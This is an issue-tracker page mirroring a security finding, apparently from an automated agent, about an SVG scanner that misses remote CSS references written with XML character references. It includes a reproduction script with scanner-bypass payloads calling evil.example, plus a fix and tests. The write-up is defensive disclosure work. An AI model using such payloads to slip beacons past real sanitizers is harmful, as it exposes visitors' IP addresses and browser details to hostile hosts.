Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

[sec-check] XML character references in CSS bypass findRemoteReferences in style attributes and style blocks

Closed
#1,223 1 comment 0 reactions 0 assignees View on GitHub

Maintainers usually reply within 1 day

A pull request for this has already been merged.

  • #1245 by @mrbobbytables — merged

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
20/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
css, javascript
Domain
security

Research direction

Work in scripts/lib/svg-active-content.mjs: add the quot, apos, lpar, rpar, commat and semi entries to NAMED_ENTITIES, and decode entities in cssTargets() before the CSS scan, as normalizeUri() already does. Add regression tests to tests/svg-active-content.test.mjs for the attribute, <style> block and @import cases, then run node --test on that file. Done when the four missed cases are reported and the existing suite still passes. Open PRs #1206 and #1213 hold both files, so wait for them to land first.

Written by the indexing model from the issue text.

Description

agent/sec-check hive/hosted-available-lke648397-260827-5n31 security

Security Finding

Severity: medium
Type: unsafe-pattern (scanner bypass)
Component: cssTargets() and NAMED_ENTITIES in scripts/lib/svg-active-content.mjs

findRemoteReferences() is the gate that keeps a visitor's IP, User-Agent and
Referer from reaching a host an imported SVG's author chose. It is applied as a
pre-write gate by mirrorArtworkUrls()
(scripts/lib/architecture-content.mjs:212) and post-hoc by
scripts/validate-architecture-assets.mjs.

SVG is XML, so an XML parser decodes character references in both attribute
values and element content before the CSS tokenizer ever sees the text.
style="fill:url(&quot;https://evil.example/x.png&quot;)" is
fill:url("https://evil.example/x.png") by the time the browser reads it.

cssTargets() (line 593) scans the raw text. It calls
stripCssComments() and decodeCssEscapes(), but never decodeEntities() —
even though that function already exists in this very module (line 625) and is
applied on the scheme path via normalizeUri() (line 651). The CSS
remote-reference path simply never got the same decoding step.

Separately, NAMED_ENTITIES (line 610) has no quot or apos entry, so even
adding the call would not cover the two most natural spellings.

A value whose quotes are written as character references therefore yields no
url(...) match that remoteTarget() recognises as absolute, and the fetch
walks straight past the gate.

Steps to Reproduce / Evidence

Verified locally against main @ 593b9fe, node v26.10.0:

$ node --input-type=module -e "
import { findRemoteReferences as f } from './scripts/lib/svg-active-content.mjs';
const S = s => '<svg xmlns=\"http://www.w3.org/2000/svg\">' + s + '</svg>';
console.log('attr raw quotes :', f(S('<rect style=\"fill:url(\'https://evil.example/x.png\')\"/>')));
console.log('attr &quot;     :', f(S('<rect style=\"fill:url(&quot;https://evil.example/x.png&quot;)\"/>')));
console.log('attr &apos;     :', f(S('<rect style=\"fill:url(&apos;https://evil.example/x.png&apos;)\"/>')));
console.log('attr &#x22;     :', f(S('<rect style=\"fill:url(&#x22;https://evil.example/x.png&#x22;)\"/>')));
console.log('style blk raw   :', f(S('<style>rect{fill:url(\"https://evil.example/x.png\")}</style>')));
console.log('style blk &quot;:', f(S('<style>rect{fill:url(&quot;https://evil.example/x.png&quot;)}</style>')));
console.log('style &#64;import:', f(S('<style>&#64;import \"https://evil.example/x.css\";</style>')));
"
attr raw quotes : [ 'references a remote resource in a style attribute: https://evil.example/x.png' ]
attr &quot;     : []                                              <-- MISSED
attr &apos;     : []                                              <-- MISSED
attr &#x22;     : []                                              <-- MISSED
style blk raw   : [ 'references a remote resource in a <style> block: https://evil.example/x.png' ]
style blk &quot;: []                                              <-- MISSED
style &#64;import: []                                             <-- MISSED

The raw-quote spelling of the identical fetch is detected in both the
attribute and <style> paths, so this is a missing decoding step, not a gap in
the reporting path. &#64;import shows the same bypass reaches
CSS_IMPORT_PATTERN, and image-set() bare strings are affected for the same
reason.

Impact

An SVG imported unattended from cncf/architecture — or mirrored by
mirrorArtworkUrls(), which calls findRemoteReferences() as its pre-write
gate — can ship a stylesheet that beacons every visitor who opens the published
diagram to a host the diagram's author chose, disclosing their IP address,
User-Agent and Referer. validate-architecture-assets.mjs passes the file.

The site CSP's img-src allowlist blunts the background-image spelling, but
cursor and mask-image are not img-src fetch directives, @import is
governed by style-src (deliberately unset), and docusaurus.config.js
deliberately sets no default-src — so those spellings are unrestricted.

Recommendation

Two mechanical edits in scripts/lib/svg-active-content.mjs.

1. Give NAMED_ENTITIES the quote and punctuation forms a CSS token can hide
behind.
Replace:

const NAMED_ENTITIES = {
  colon: ':',

with:

const NAMED_ENTITIES = {
  colon: ':',
  quot: '"',
  apos: "'",
  lpar: '(',
  rpar: ')',
  commat: '@',
  semi: ';',

2. Decode character references in cssTargets() before the CSS scan, the
way normalizeUri() already does on the scheme path (decoding twice, because
some generators emit double-encoded references). Replace, in cssTargets():

  const normalized = stripCssComments(String(css));

with:

  const normalized = stripCssComments(
    decodeEntities(decodeEntities(String(css))),
  );

This is the fail-closed direction: decoding can only reveal more targets, never
hide one.

Verification

With both edits applied locally at 593b9fe, every missed case above is
reported, a local url(#grad) reference still yields nothing, and the existing
suite is unchanged:

$ TZ=UTC node --test tests/svg-active-content.test.mjs
ℹ tests 121
ℹ pass 121
ℹ fail 0

Please also add regression tests to tests/svg-active-content.test.mjs covering
the &quot; / &apos; / &#x22; attribute forms, the <style>-block form and
&#64;import.

Why this is filed as an issue with no accompanying pull request

The fix lands in scripts/lib/svg-active-content.mjs and
tests/svg-active-content.test.mjs. Both files are currently occupied by two
open, hold-gated pull requests awaiting human review — #1206
(fix(security): honour CSS escapes when pairing quotes in the SVG scanner) and
#1213 (fix(security): gate srcset, poster and background in findRemoteReferences). Opening a third pull request over the same two files
would force both of those to rebase on merge. This issue is therefore filed with
the exact replacement text so the change is mechanical once #1206 and #1213 have
landed.


Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)


🐝 Hive Agent: security | Instance: hosted-available-lke648397-260827-5n31 | SHA: unknown

— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88

Dominant language
JavaScript
Stars
0
Forks
2
Avg merge
7h 48m
Merged PRs (30d)
613

Getting set up

Open in Codespaces

Starts the project's dev container in your browser, under your own GitHub account.

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from cncf/endusers

All issues in cncf/endusers

Similar issues

More JavaScript issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.